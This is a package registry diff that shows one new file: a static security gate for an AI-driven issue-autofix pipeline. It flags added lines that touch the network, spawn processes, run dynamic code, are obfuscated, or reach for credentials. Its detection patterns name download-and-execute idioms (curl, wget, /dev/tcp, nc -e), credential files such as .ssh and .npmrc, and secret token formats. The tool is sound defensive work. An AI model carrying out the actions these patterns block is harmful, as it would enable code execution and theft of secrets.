ruvnet-brain 4.7.21 → 4.7.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. package/README.md +2 -2
  2. package/bin/install.mjs +126 -9
  3. package/console/activity.js +122 -38
  4. package/package.json +2 -1
  5. package/plugin/.claude-plugin/plugin.json +1 -1
  6. package/plugin/.codex-plugin/plugin.json +1 -1
  7. package/plugin/scripts/agentdb-recall-process.mjs +115 -5
  8. package/plugin/scripts/agentdb-recall-reader.mjs +44 -2
  9. package/plugin/scripts/agentdb-recall.mjs +34 -12
  10. package/plugin/scripts/completion-claim-evidence.mjs +185 -11
  11. package/plugin/scripts/continuation-gate.mjs +52 -7
  12. package/plugin/scripts/lesson-gate.mjs +7 -39
  13. package/plugin/scripts/lesson-scope.mjs +51 -0
  14. package/plugin/scripts/lesson-store.mjs +1 -1
  15. package/plugin/scripts/ruflo-bin.mjs +14 -6
  16. package/plugin/scripts/ruflo-memory-hooks.mjs +157 -19
  17. package/plugin/scripts/session-snapshot-hook.mjs +1 -1
  18. package/plugin/scripts/session-start-core.mjs +2 -1
  19. package/plugin/scripts/session-start-health.mjs +3 -2
  20. package/scripts/codex-boot-surface-proof.mjs +208 -0
  21. package/scripts/generation-census.mjs +220 -0
  22. package/scripts/issue-autofix-agents.mjs +172 -0
  23. package/scripts/issue-autofix-comment.mjs +224 -0
  24. package/scripts/issue-autofix-diff.mjs +108 -0
  25. package/scripts/issue-autofix-exec.mjs +128 -0
  26. package/scripts/issue-autofix-fix.mjs +104 -0
  27. package/scripts/issue-autofix-gate.mjs +137 -0
  28. package/scripts/issue-autofix-night.mjs +164 -0
  29. package/scripts/issue-autofix-notes.mjs +346 -0
  30. package/scripts/issue-autofix-policy.mjs +349 -0
  31. package/scripts/issue-autofix-prompts.mjs +105 -0
  32. package/scripts/issue-autofix-release-ship.mjs +226 -0
  33. package/scripts/issue-autofix-release-util.mjs +141 -0
  34. package/scripts/issue-autofix-release.mjs +272 -0
  35. package/scripts/issue-autofix-report.mjs +121 -0
  36. package/scripts/issue-autofix-runner.mjs +75 -0
  37. package/scripts/issue-autofix-sandbox.mjs +108 -0
  38. package/scripts/issue-autofix-security.mjs +346 -0
  39. package/scripts/issue-autofix-selftest.mjs +101 -0
  40. package/scripts/issue-autofix-state.mjs +61 -0
  41. package/scripts/issue-autofix.mjs +382 -0
  42. package/scripts/issue-fix-lock.mjs +40 -0
  43. package/scripts/issue-fix.mjs +33 -20
  44. package/scripts/no-silent-substitution.mjs +1 -1
  45. package/scripts/ntfy-inbox.mjs +15 -0
  46. package/scripts/onboarding-console.mjs +76 -15
  47. package/scripts/recall-latency-probe.mjs +48 -0
  48. package/scripts/release-prepush-checks.mjs +251 -0
  49. package/scripts/release-prepush.mjs +168 -0
  50. package/scripts/release-qualification-contract.mjs +41 -0
  51. package/scripts/wired-check.mjs +13 -5
@@ -0,0 +1,346 @@
1
+ // ADR-107 static "no malware enters the app" gate for the unattended issue-autofix pipeline.
2
+ // Strangers write the issues and no human reads the diff, so every check here is deny-by-default
3
+ // and fails closed on malformed input. Pure functions only: no I/O, no imports.
4
+ // This is defense in depth: regex scanning cannot prove absence of malice; a red-team model
5
+ // review and an OS sandbox sit behind it.
6
+
7
+ // ---------------------------------------------------------------------------------------------
8
+ // Paths
9
+ // ---------------------------------------------------------------------------------------------
10
+ const SENSITIVE_WORDS = ['release', 'publish', 'install', 'update', 'upgrade', 'refresh', 'sign', 'verify', 'attest',
11
+ 'provenance', 'integrity', 'checksum', 'key', 'trust', 'token', 'secret', 'credential', 'auth', 'download', 'extract',
12
+ 'identity', 'approved-runtime', 'heartbeat', 'watchdog', 'nightly', 'notify', 'issue-', 'autofix', 'single-source',
13
+ 'doc-currency', 'census', 'corpus', 'convergence', 'version', 'wired-check', 'decision-', 'dream', 'hook',
14
+ 'entrypoint', 'telemetry', 'consent', 'footprint', 'protected-'];
15
+ const esc = (s) => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
16
+
17
+ const NEVER = [
18
+ ['github', /^\.github(\/|$)/i],
19
+ ['codeowners', /(^|\/)codeowners$/i],
20
+ ['dotfile', /(^|\/)\./],
21
+ ['manifest', /(^|\/)(package\.json|package-lock\.json|npm-shrinkwrap\.json|yarn\.lock|pnpm-lock\.yaml)$/i],
22
+ ['protected-dir', /^(keys|sbom|deploy|overlays|data|config|bin|docs\/adr|plugin\/hooks|plugin\/\.claude-plugin|\.claude-plugin)(\/|$)/i],
23
+ ['governance', /^(contributing\.md|security\.md|license(\.[a-z]+)?)$/i],
24
+ ['executable', /\.(sh|ps1|cmd|bat|exe|dll|so|dylib|node|wasm|bin|zip|tgz|gz|rvf)$/i],
25
+ ['vitest-config', /(^|\/)vitest\.config[^/]*$/i],
26
+ ['sensitive-name', new RegExp(`(^|/)[^/]*(${SENSITIVE_WORDS.map(esc).join('|')})[^/]*$`, 'i')],
27
+ ];
28
+ export const NEVER_EDITABLE = NEVER.map(([, re]) => re);
29
+
30
+ export const EDITABLE_ALLOW = [
31
+ /^scripts\/[^/]+\.(mjs|js|cjs|ts|md)$/i,
32
+ /^plugin\/(scripts|mcp)\/.+\.(mjs|js|cjs|ts|md)$/i,
33
+ /^plugin\/(commands|skills)\/.+\.md$/i,
34
+ /^plugin\/test\/.+\.(mjs|js|cjs|ts|md)$/i,
35
+ /^kb\/[^/]+\.mjs$/i,
36
+ /^console\/.+\.(mjs|js|cjs|ts|md|html|css)$/i,
37
+ /^tri-smart-skill\/.+\.md$/i,
38
+ /^docs\/.+\.md$/i,
39
+ /^readme\.md$/i,
40
+ /^tests\/(unit|integration|regression|fixtures)\/.+\.(mjs|js|cjs|ts|md|json|txt|snap)$/i,
41
+ ];
42
+
43
+ const normPath = (p) => { let s = String(p).replace(/\\/g, '/'); while (s.startsWith('./')) s = s.slice(2); return s; };
44
+
45
+ export function isEditablePath(p) {
46
+ if (typeof p !== 'string') return { ok: false, reason: 'escape' };
47
+ const s = normPath(p);
48
+ // Absolute, drive-letter, traversal, empty segments, and any character outside a conservative
49
+ // set (control chars, quotes, spaces, non-ASCII homoglyphs) are treated as an escape attempt.
50
+ if (!s || s.startsWith('/') || /^[a-z]:/i.test(s) || s.split('/').some((seg) => seg === '' || seg === '..')
51
+ || /[^A-Za-z0-9._\-/@+]/.test(s)) return { ok: false, reason: 'escape' };
52
+ for (const [why, re] of NEVER) if (re.test(s)) return { ok: false, reason: `never:${why}` };
53
+ if (EDITABLE_ALLOW.some((re) => re.test(s))) return { ok: true, reason: 'editable' };
54
+ return { ok: false, reason: 'not-allowlisted' };
55
+ }
56
+
57
+ // ---------------------------------------------------------------------------------------------
58
+ // Added-line scanner
59
+ // ---------------------------------------------------------------------------------------------
60
+ const CODE_RE = /\.(mjs|js|cjs|ts|tsx|jsx|mts|cts)$/i;
61
+ const IMP = String.raw`(?:\brequire\s*\(\s*|\bimport\s*\(\s*|\bfrom\s*|\bimport\s+)`;
62
+ const Q = '[\'"`]';
63
+ const imp = (mods) => new RegExp(`${IMP}${Q}(?:node:)?(?:${mods})${Q}`);
64
+ const FSW = '(?:writeFile|appendFile|rm|rmdir|unlink|rename|chmod|chown|lchown|symlink|link|copyFile|cp|mkdir|mkdtemp|createWriteStream|open|truncate|utimes|lutimes)(?:Sync)?';
65
+ const ALLOWED_HOSTS = new Set(['registry.npmjs.org', 'www.npmjs.com', 'isovision.ai', 'www.isovision.ai', 'localhost', '127.0.0.1']);
66
+ const TEST_HOSTS = new Set(['example.com', 'example.org', 'www.example.com', 'www.example.org']);
67
+ const STR_RE = /'(?:[^'\\]|\\.)*'|"(?:[^"\\]|\\.)*"|`(?:[^`\\]|\\.)*`/g;
68
+ const HOME_RE = /\bhomedir\s*\(|process\.env\.(HOME|USERPROFILE|APPDATA)\b|['"`]~[/\\]|\$HOME\b/;
69
+ const FS_CALL_RE = /\b(fs|fsp|readFile|readFileSync|readdir|readdirSync|createReadStream|existsSync|stat|statSync|access|accessSync|open|openSync|glob|copyFile|copyFileSync|cp|cpSync|writeFile|writeFileSync|appendFile|appendFileSync|rm|rmSync|unlink|unlinkSync)\b/;
70
+ const INVISIBLE = /[\u202A-\u202E\u2066-\u2069\u200B-\u200F\u2028\u2029\u2060-\u2064\u206A-\u206F\u00AD\u180E\u061C\uFFF9-\uFFFB]|[\u{E0000}-\u{E007F}\u{E0100}-\u{E01EF}]/u;
71
+
72
+ function entropy(s) {
73
+ const n = new Map(); for (const c of s) n.set(c, (n.get(c) || 0) + 1);
74
+ let h = 0; for (const k of n.values()) { const p = k / s.length; h -= p * Math.log2(p); } return h;
75
+ }
76
+ const packed = (t) => t.length >= 120 && (/^[A-Za-z0-9+/=_-]+$/.test(t) || /^(0x)?[0-9a-f]+$/i.test(t));
77
+ function longBlob(s) {
78
+ const lits = [...s.matchAll(STR_RE)].map((m) => m[0].slice(1, -1));
79
+ if (lits.some((c) => c.length >= 120 && (packed(c) || entropy(c) > 4.5))) return true;
80
+ if (packed(lits.join(''))) return true; // payload split across concatenated literals
81
+ return s.split(/\s+/).some((t) => packed(t.replace(/^[^A-Za-z0-9+/]+|[^A-Za-z0-9+/=]+$/g, '')));
82
+ }
83
+ function charCodeTrick(s) {
84
+ const m = s.match(/fromC(?:harCode|odePoint)\s*\(([^)]*)/);
85
+ return !!m && (m[1].split(',').length >= 4 || /\.\.\.|[\^+\-*%]/.test(m[1]) || /\b(for|while|map|reduce|forEach|apply|call)\b/.test(s));
86
+ }
87
+ function badUrl(s, ctx) {
88
+ for (const m of s.matchAll(/([a-z][a-z0-9+.-]*):\/\/([^\s'"`<>()[\]{}\\|^]*)/gi)) {
89
+ if (!/^https?$/i.test(m[1])) return true;
90
+ const rest = m[2]; const cut = rest.search(/[/?#]/);
91
+ const auth = cut < 0 ? rest : rest.slice(0, cut); const path = cut < 0 ? '' : rest.slice(cut);
92
+ if (auth.includes('@') || /\.\.|%2e/i.test(path)) return true;
93
+ const host = auth.replace(/:\d*$/, '').replace(/\.$/, '').toLowerCase();
94
+ if (ALLOWED_HOSTS.has(host)) continue;
95
+ if (host === 'github.com' && /^\/stuinfla(\/|$|[?#])/i.test(path)) continue;
96
+ if (ctx.test && TEST_HOSTS.has(host)) continue;
97
+ return true;
98
+ }
99
+ return false;
100
+ }
101
+ const stripStringsAndComments = (s) => (/^\s*(\*|\/\*)/.test(s) ? ''
102
+ : s.replace(STR_RE, '""').replace(/\/\*.*?\*\//g, '').replace(/\/\/.*$/, ''));
103
+ function hiddenUnicode(s, ctx, i) {
104
+ if (INVISIBLE.test(s) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]|\r(?!$)/.test(s)) return true;
105
+ if (/[\uFE00-\uFE0F]{2,}|[\x00-\x7f][\uFE00-\uFE0F]/.test(s)) return true;
106
+ const bom = s.indexOf('\uFEFF');
107
+ if (bom > 0 || (bom === 0 && !(i === 0 && ctx.status === 'A'))) return true;
108
+ return ctx.code && /[^\x00-\x7f]/.test(stripStringsAndComments(bom === 0 ? s.slice(1) : s)); // homoglyph identifiers
109
+ }
110
+
111
+ // One rule entry per line (mutation tests delete entries by rule id). scope: '' all files,
112
+ // 'code' JS/TS only, 'json' .json only. raw: test the undecoded line only.
113
+ const LINE_RULES = [];
114
+ const R = (rule, test, detail, scope = '', raw = false) => LINE_RULES.push({ rule, test, detail, scope, raw });
115
+ R('network-egress', imp('net|tls|https?|http2|dgram|dns|dns/promises|undici|axios|node-fetch|got|ws|request|ssh2|ftp|socket\\.io-client'), 'imports a network module');
116
+ R('network-egress', /['"`]node:(net|tls|https?|http2|dgram|dns)(\/promises)?['"`]/, 'names a node network module');
117
+ R('network-egress', /\bfetch\s*(\(|`|\.\s*(call|apply|bind)\b)|['"`]fetch['"`]|=\s*fetch\b|\(\s*fetch\s*[,)]/, 'fetch() network call');
118
+ R('network-egress', /\b(XMLHttpRequest|WebSocket|EventSource|RTCPeerConnection|sendBeacon)\b|\bimportScripts\s*\(/, 'browser network API');
119
+ R('network-egress', badUrl, 'URL to a host outside the allow list');
120
+ R('network-egress', /(['"`]|=\s*|url\(\s*)\/\/[a-z0-9-]+(\.[a-z0-9-]+)+/i, 'protocol-relative URL');
121
+ R('process-exec', /['"`](node:)?(child_process|worker_threads|cluster)['"`]/, 'names a process-spawning module');
122
+ R('process-exec', /(?<![\w$.])(exec|execSync|execFile|execFileSync|spawn|spawnSync|fork|execa|execaSync|execaCommand)\s*\(|\.\s*(execSync|execFile|execFileSync|spawn|spawnSync|fork|execve|execa)\s*\(/, 'spawns a process');
123
+ R('process-exec', /\bnew\s+Worker\s*\(|\b(Bun\s*\.\s*spawn|Deno\s*\.\s*(run|Command))\b|['"`](execa|shelljs|cross-spawn|zx)['"`]/, 'spawns a worker or process');
124
+ R('dynamic-code', /\beval\s*[(`?]/, 'eval');
125
+ R('dynamic-code', /\beval\b/, 'reference to eval', 'code');
126
+ R('dynamic-code', /\bnew\s+(Async)?Function\b|(?<![\w$.])(Async)?Function\s*\(|\bFunction\s*\.\s*(apply|call|bind)\b|\.constructor\s*(\(|\.\s*(constructor|call|apply)\b)|\[\s*['"`]constructor['"`]\s*\]|\.\s*prototype\s*\.\s*constructor\b|\bProxy\s*\(\s*(global|globalThis|window|self|process)\b/, 'Function constructor / global proxy');
127
+ R('dynamic-code', /(?<![\w$.])with\s*\(/, 'with statement', 'code');
128
+ R('dynamic-code', /\bset(Timeout|Interval|Immediate)\s*\(\s*['"`]/, 'timer with a code string');
129
+ R('dynamic-code', /\brunIn(New|This)?Context\b|\bcompileFunction\b|\bnew\s+(vm\s*\.\s*)?(Script|SourceTextModule|SyntheticModule)\s*\(|\bWebAssembly\s*\.\s*(instantiate|compile|Module|Instance)/, 'vm / WebAssembly code execution');
130
+ R('dynamic-code', imp('vm|inspector|repl'), 'imports vm / inspector / repl');
131
+ R('dynamic-code', /['"`]node:(vm|inspector|repl)['"`]/, 'names vm / inspector / repl');
132
+ R('dynamic-code', /\b(require|import)\s*\(\s*(?!(['"])[^'"\\$]*\2\s*[,)])(?!`[^`$\\]*`\s*[,)])/, 'require/import of a non-literal specifier');
133
+ R('dynamic-code', /\brequire\s*$|[=,(:?]\s*require\s*[;,)]|\brequire\s*\.\s*(call|apply|bind)\b|\(\s*0\s*,\s*require\s*\)/, 'aliased require', 'code');
134
+ R('dynamic-code', /\b(global|globalThis|window|self|process|Reflect|module|exports|require)\s*\[/, 'computed property on a global');
135
+ R('dynamic-code', /\bReflect\s*\.\s*(get|apply|construct)\s*\(\s*(global|globalThis|window|self|process)\b/, 'Reflect access to a global');
136
+ R('obfuscation', /\bBuffer\s*\.\s*from\s*\([^)]*,\s*['"`](base64|base64url|hex|latin1|binary|ucs2|utf16le)['"`]/, 'decodes an encoded buffer');
137
+ R('obfuscation', /\batob\s*\(|\bunescape\s*\(|\bdecodeURIComponent\s*\(\s*['"`][^'"`]*(%[0-9a-f]{2}){4}/i, 'decodes an encoded string');
138
+ R('obfuscation', charCodeTrick, 'builds a string from char codes');
139
+ R('obfuscation', /(\\x[0-9a-f]{2}){6,}|(\\u(\{[0-9a-f]+\}|[0-9a-f]{4})){6,}|(\\[0-7]{3}){6,}|(%[0-9a-f]{2}){6,}/i, 'long escape sequence run', '', true);
140
+ R('obfuscation', /\\u(00[2-7][0-9a-f]|\{0*[2-7][0-9a-f]\})|\\x[2-7][0-9a-f]/i, 'escaped printable ASCII', '', true);
141
+ R('obfuscation', longBlob, 'long encoded or high-entropy literal', '', true);
142
+ R('obfuscation', /\.split\s*\(\s*(['"`])\1\s*\)\s*\.\s*reverse\s*\(|\.reverse\s*\(\s*\)\s*\.\s*join\s*\(|\[\s*(['"`][^'"`]{0,2}['"`]\s*,\s*){3,}['"`]|(['"`][^'"`]{1,3}['"`]\s*\+\s*){2,}['"`]/, 'string assembled from fragments');
143
+ R('obfuscation', /charCodeAt\s*\([^)]*\)\s*[-+^*%|&]|[-+^|&]\s*[\w$.]*\.charCodeAt\b|\.map\s*\([^)]*charCodeAt/, 'char-code arithmetic');
144
+ R('credential-access', /\.npmrc\b|\.netrc\b|\.ssh\b|\bid_(rsa|ed25519|ecdsa|dsa)\b|\.aws\b|\.config\/gh\b|\bhosts\.yml\b|\.git-credentials\b|\.gnupg\b|\bkeychains?\b|\bsecurity\s+(find|dump|export|unlock)-|\bkeytar\b|\.docker\/config|\.kube\/config|\.pypirc\b|['"`/]\.env(\.\w+)?['"`]|['"`]dotenv['"`]|\bLocal State\b|\bLogin Data\b/i, 'names a credential store');
145
+ R('credential-access', (s) => HOME_RE.test(s) && FS_CALL_RE.test(s), 'filesystem access under the home directory');
146
+ R('env-harvest', /process\.env\s*(\.\s*|\[\s*['"`])[A-Z0-9_]*(TOKEN|KEY|SECRET|PASS|NPM|GH_|GITHUB|AWS|ANTHROPIC|OPENAI|CLAUDE|CRED|AUTH|SESSION|COOKIE)/i, 'reads a secret environment variable');
147
+ R('env-harvest', /process\.env\s*\[\s*(?!['"`])|\bprocess\s*\[\s*['"`]env['"`]|\b(Deno|Bun)\s*\.\s*env\b/, 'computed environment access');
148
+ R('env-harvest', /\.\.\.\s*process\.env\b|\bin\s+process\.env\b|(Object\s*\.\s*\w+|JSON\s*\.\s*stringify|structuredClone|inspect|console\s*\.\s*\w+|Reflect\s*\.\s*ownKeys)\s*\([^)]*process\.env\s*[,)]/, 'enumerates the environment');
149
+ R('env-harvest', /=\s*process\.env\s*([;,)]|$)|\}\s*=\s*process\.env\b|\{[^}]*\benv\b[^}]*\}\s*=\s*((global|globalThis)\s*\.\s*)?process\b|(^|[^}\s])\s*=\s*((global|globalThis)\s*\.\s*)?process\s*([;,)]|$)/, 'aliases or destructures process.env');
150
+ R('env-harvest', /\b(userInfo|networkInterfaces)\s*\(|\bdocument\s*\.\s*cookie\b/, 'host or browser identity harvesting');
151
+ R('fs-outside-repo', new RegExp(`\\b${FSW}\\s*\\(\\s*(?:['"\`](?:/|~|[A-Za-z]:[\\\\/]|\\.\\.)|[^;]*(?:homedir|process\\.env\\.(?:HOME|USERPROFILE|APPDATA)|['"\`]\\.\\.['"\`]|\\.\\.[\\\\/]))`), 'filesystem write outside the repository');
152
+ R('fs-outside-repo', /\bsymlink(Sync)?\s*\(|\bprocess\s*\.\s*chdir\s*\(|['"`]file:\/\//, 'symlink / chdir / file URL');
153
+ R('fs-outside-repo', /['"`](\/(etc|usr|bin|sbin|var|private|Library|System|Applications|opt|root|proc|sys)\b|\/dev\/(?!null\b)|[A-Za-z]:\\)/, 'system path literal', 'code');
154
+ R('fs-outside-repo', HOME_RE, 'home directory reference', 'code');
155
+ R('fetch-execute', /\b(curl|wget)\b|\b(ba|z|k|da)?sh\s+-c\b|\bpowershell\b|\bpwsh\b|Invoke-(WebRequest|RestMethod|Expression)|\biex\b|\|\s*(ba|z)?sh\b|\/dev\/tcp\/|\bnc\s+-[a-z]*e|\bcertutil\b|\bbitsadmin\b|\bmshta\b|\bosascript\b/i, 'download-and-execute shell idiom');
156
+ R('hidden-unicode', hiddenUnicode, 'invisible, bidi, control or non-ASCII identifier character', '', true);
157
+ R('module-tamper', /\brequire\s*\.\s*(cache|extensions)\b|\bModule\s*\.\s*(_load|_resolveFilename|_extensions|_cache|wrap|_compile|prototype|register|_nodeModulePaths)\b|\bmodule\s*\.\s*(constructor|parent|children|paths)\b|\bcreateRequire\b|\.\s*mainModule\b|\bError\s*\.\s*prepareStackTrace\b/, 'tampers with the module system');
158
+ R('module-tamper', imp('module'), 'imports node:module');
159
+ R('module-tamper', /['"`]node:module['"`]/, 'names node:module');
160
+ R('module-tamper', /Object\s*\.\s*(defineProperty|defineProperties|assign|setPrototypeOf)\s*\(\s*(global|globalThis|window|self|process|module|exports|require|console)\b/, 'redefines a global');
161
+ R('module-tamper', /\b(global|globalThis|window)\s*\.\s*[\w$]+\s*(=(?!=)|\+=)/, 'assigns a global', 'code');
162
+ R('module-tamper', /\b(NODE_OPTIONS|NODE_PATH|NODE_EXTRA_CA_CERTS|NODE_TLS_REJECT_UNAUTHORIZED|LD_PRELOAD|LD_LIBRARY_PATH|LD_AUDIT|DYLD_\w+|npm_config_\w+)\b|--(require|import|loader|experimental-loader|inspect(-brk)?)\b/i, 'loader / preload injection');
163
+ R('native-code', /\.(node|wasm|dylib|so|dll)['"`]|\bprocess\s*\.\s*(dlopen|binding|_linkedBinding)\b|['"`](ffi-napi|node-ffi|bindings|node-gyp-build|koffi)['"`]/, 'loads native code');
164
+ R('install-hook', /["'](pre|post)?(install|uninstall)["']\s*:|["'](prepare|prepublish|prepublishOnly|prepack|postpack|dependencies)["']\s*:\s*["']/, 'npm lifecycle hook key', 'json');
165
+ R('install-hook', /\b(pre|post)(install|uninstall)\b['"`]?\s*:/, 'npm lifecycle hook key');
166
+ R('prototype-pollution', /__proto__|\[\s*['"`](prototype|constructor)['"`]\s*\]\s*(=(?!=)|\.)|\b(Object|Array|String|Function|Number|Boolean|Promise|RegExp|Date|Map|Set|Error|Buffer|JSON|Symbol|Reflect)\s*\.\s*prototype\s*(\.\s*[\w$]+|\[[^\]]*\])\s*(=(?!=)|\+=)|Object\s*\.\s*(setPrototypeOf|assign|defineProperty)\s*\(\s*(Object|Array|String|Function)\s*\.\s*prototype/, 'prototype pollution');
167
+
168
+ const safeCp = (h, m) => { const n = parseInt(h, 16); return n <= 0x10ffff ? String.fromCodePoint(n) : m; };
169
+ const decodeEscapes = (s) => s.replace(/\\u\{([0-9a-f]{1,6})\}/gi, (m, h) => safeCp(h, m))
170
+ .replace(/\\u([0-9a-f]{4})/gi, (m, h) => safeCp(h, m)).replace(/\\x([0-9a-f]{2})/gi, (m, h) => safeCp(h, m));
171
+ // Excerpts land in issue comments and logs: escape anything non-printable (bidi, zero-width).
172
+ const excerptOf = (s) => String(s).trim().replace(/[^\x20-\x7e]/gu, (c) => `\\u{${c.codePointAt(0).toString(16)}}`).slice(0, 120);
173
+ const hit = (t, s, ctx, i) => (typeof t === 'function' ? t(s, ctx, i) : t.test(s));
174
+
175
+ export function scanAddedLines(files) {
176
+ const out = []; const seen = new Set();
177
+ const push = (path, line, rule, detail, text = '') => {
178
+ const k = `${path}\0${line}\0${rule}`;
179
+ if (!seen.has(k)) { seen.add(k); out.push({ path, line, rule, detail, excerpt: excerptOf(text) }); }
180
+ };
181
+ if (!Array.isArray(files)) { push('<diff>', null, 'scan-unreadable', 'files is not an array (fail closed)'); return out; }
182
+ for (const f of files) {
183
+ if (!f || typeof f.path !== 'string' || (f.added != null && !Array.isArray(f.added))) {
184
+ push(String(f?.path ?? '<unknown>'), null, 'scan-unreadable', 'malformed DiffFile (fail closed)'); continue;
185
+ }
186
+ if (f.symlink) push(f.path, null, 'symlink', 'symlinks can point outside the repository');
187
+ if (f.binary) { if (f.status !== 'D') push(f.path, null, 'binary-file', 'binary content cannot be reviewed'); continue; }
188
+ const np = normPath(f.path);
189
+ const ctx = { path: f.path, status: f.status, code: CODE_RE.test(np), json: /\.json$/i.test(np), test: /^(tests|plugin\/test)\//i.test(np) };
190
+ (f.added || []).forEach((line, i) => {
191
+ if (typeof line !== 'string') { push(f.path, i + 1, 'scan-unreadable', 'added line is not a string (fail closed)'); return; }
192
+ const dec = decodeEscapes(line);
193
+ for (const r of LINE_RULES) {
194
+ if ((r.scope === 'code' && !ctx.code) || (r.scope === 'json' && !ctx.json)) continue;
195
+ if (hit(r.test, line, ctx, i) || (!r.raw && dec !== line && hit(r.test, dec, ctx, i))) push(f.path, i + 1, r.rule, r.detail, line);
196
+ }
197
+ });
198
+ }
199
+ return out;
200
+ }
201
+
202
+ // ---------------------------------------------------------------------------------------------
203
+ // Secrets and local paths
204
+ // ---------------------------------------------------------------------------------------------
205
+ const SECRET_RES = [
206
+ ['secret', /\bgh[pousr]_[A-Za-z0-9]{36,}/, 'GitHub token'],
207
+ ['secret', /\bgithub_pat_[A-Za-z0-9_]{22,}/, 'GitHub fine-grained token'],
208
+ ['secret', /\bnpm_[A-Za-z0-9]{36}/, 'npm token'],
209
+ ['secret', /\bsk-ant-[A-Za-z0-9_-]{16,}/, 'Anthropic key'],
210
+ ['secret', /\bsk-(proj-)?[A-Za-z0-9_-]{20,}/, 'OpenAI key'],
211
+ ['secret', /\b(AKIA|ASIA)[0-9A-Z]{16}\b/, 'AWS access key id'],
212
+ ['secret', /\bxox[baprs]-[A-Za-z0-9-]{10,}/, 'Slack token'],
213
+ ['secret', /\bAIza[0-9A-Za-z_-]{35}/, 'Google API key'],
214
+ ['secret', /-----BEGIN [A-Z0-9 ]*PRIVATE KEY( BLOCK)?-----/, 'PEM private key'],
215
+ ['secret', /\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/, 'JWT'],
216
+ ['local-path', /\/Users\/(?!Shared\/)[^/\s'"`]+\//, 'macOS home path'],
217
+ ['local-path', /\/home\/[^/\s'"`]+\//, 'Linux home path'],
218
+ ['local-path', /\b[A-Za-z]:(\\\\?|\/)Users(\\\\?|\/)[^\\/\s'"`]+/i, 'Windows home path'],
219
+ ];
220
+ const MASKS = SECRET_RES.filter(([r]) => r === 'secret').map(([, re]) => new RegExp(re.source, `${re.flags}g`));
221
+
222
+ export function scanSecrets(text) {
223
+ if (typeof text !== 'string') return [{ path: '<text>', line: null, rule: 'secret', detail: 'input is not a string (fail closed)', excerpt: '' }];
224
+ const out = [];
225
+ text.split(/\r?\n/).forEach((line, i) => {
226
+ const done = new Set();
227
+ for (const [rule, re, detail] of SECRET_RES) {
228
+ if (done.has(rule) || !re.test(line)) continue;
229
+ done.add(rule);
230
+ const masked = MASKS.reduce((s, m) => s.replace(m, (x) => `${x.slice(0, 6)}***`), line);
231
+ out.push({ path: '<text>', line: i + 1, rule, detail, excerpt: excerptOf(masked) });
232
+ }
233
+ });
234
+ return out;
235
+ }
236
+
237
+ // ---------------------------------------------------------------------------------------------
238
+ // Manifest, lockfile, pack list, audit
239
+ // ---------------------------------------------------------------------------------------------
240
+ const isObj = (v) => v !== null && typeof v === 'object' && !Array.isArray(v);
241
+ const canon = (v) => (Array.isArray(v) ? `[${v.map(canon).join(',')}]`
242
+ : isObj(v) ? `{${Object.keys(v).sort().map((k) => `${JSON.stringify(k)}:${canon(v[k])}`).join(',')}}`
243
+ : String(JSON.stringify(v)));
244
+ const union = (a, b) => [...new Set([...Object.keys(a), ...Object.keys(b)])];
245
+ const diffKeys = (a, b) => (isObj(a) && isObj(b) ? union(a, b).filter((k) => canon(a[k]) !== canon(b[k])) : ['<whole>']);
246
+ const SEMVER = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/;
247
+ const DEP_KEYS = new Set(['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies', 'peerDependenciesMeta',
248
+ 'bundledDependencies', 'bundleDependencies', 'overrides', 'resolutions', 'pnpm']);
249
+ const LIFECYCLE = new Set(['preinstall', 'install', 'postinstall', 'prepare', 'preprepare', 'postprepare', 'prepack', 'postpack',
250
+ 'prepublish', 'prepublishOnly', 'publish', 'postpublish', 'preuninstall', 'uninstall', 'postuninstall', 'dependencies']);
251
+ const mk = (path, rule, detail) => ({ path, line: null, rule, detail, excerpt: excerptOf(detail) });
252
+
253
+ export function judgeManifestChange(before, after) {
254
+ const P = 'package.json'; const out = [];
255
+ if (!isObj(before) || !isObj(after)) return [mk(P, 'manifest-change', 'manifest is not a parsed object (fail closed)')];
256
+ if (before.version !== after.version && !(typeof after.version === 'string' && SEMVER.test(after.version))) {
257
+ out.push(mk(P, 'manifest-change', 'version is not a plain semver string'));
258
+ }
259
+ for (const k of union(before, after)) {
260
+ if (k === 'version' || canon(before[k]) === canon(after[k])) continue;
261
+ if (DEP_KEYS.has(k)) out.push(mk(P, 'dependency-change', `${k} changed: ${diffKeys(before[k], after[k]).join(', ')}`));
262
+ else if (k === 'scripts') {
263
+ for (const s of diffKeys(before.scripts, after.scripts)) out.push(mk(P, LIFECYCLE.has(s) ? 'lifecycle-script' : 'package-scripts', `scripts.${s} added, changed or removed`));
264
+ } else out.push(mk(P, 'manifest-change', `top-level "${k}" changed`));
265
+ }
266
+ return out;
267
+ }
268
+
269
+ export function judgeLockfileChange(before, after) {
270
+ const P = 'package-lock.json';
271
+ if (!isObj(before) || !isObj(after)) return [mk(P, 'lockfile-change', 'lockfile is not a parsed object (fail closed)')];
272
+ const strip = (l) => {
273
+ const c = { ...l }; delete c.version;
274
+ if (isObj(l.packages)) {
275
+ c.packages = { ...l.packages };
276
+ if (isObj(l.packages[''])) { c.packages[''] = { ...l.packages[''] }; delete c.packages[''].version; }
277
+ }
278
+ return c;
279
+ };
280
+ const a = strip(before); const b = strip(after);
281
+ if (canon(a) === canon(b)) return [];
282
+ const both = isObj(a.packages) && isObj(b.packages);
283
+ const top = union(a, b).filter((k) => !(both && k === 'packages') && canon(a[k]) !== canon(b[k])).map((k) => `"${k}"`);
284
+ const pk = both ? diffKeys(a.packages, b.packages).map((p) => p || '<root>') : [];
285
+ const more = pk.length > 5 ? ` (+${pk.length - 5} more)` : '';
286
+ return [mk(P, 'lockfile-change', `lockfile changed beyond the version fields: ${[...top, ...pk.slice(0, 5)].join(', ')}${more}`)];
287
+ }
288
+
289
+ const VERSION_ONLY = ['package.json', 'plugin/.claude-plugin/plugin.json', '.claude-plugin/marketplace.json'];
290
+ const VERSION_SLACK_BYTES = 64; // a version bump moves a few bytes; anything bigger is not "version only"
291
+ const PACK_BINARY = /\.(node|wasm|exe|dll|so|dylib|bin|zip|tgz|gz|rvf|png|jpe?g|gif|ico|pdf|woff2?|ttf|otf|eot|webp|bmp|jar|class|pyc|o|a)$/i;
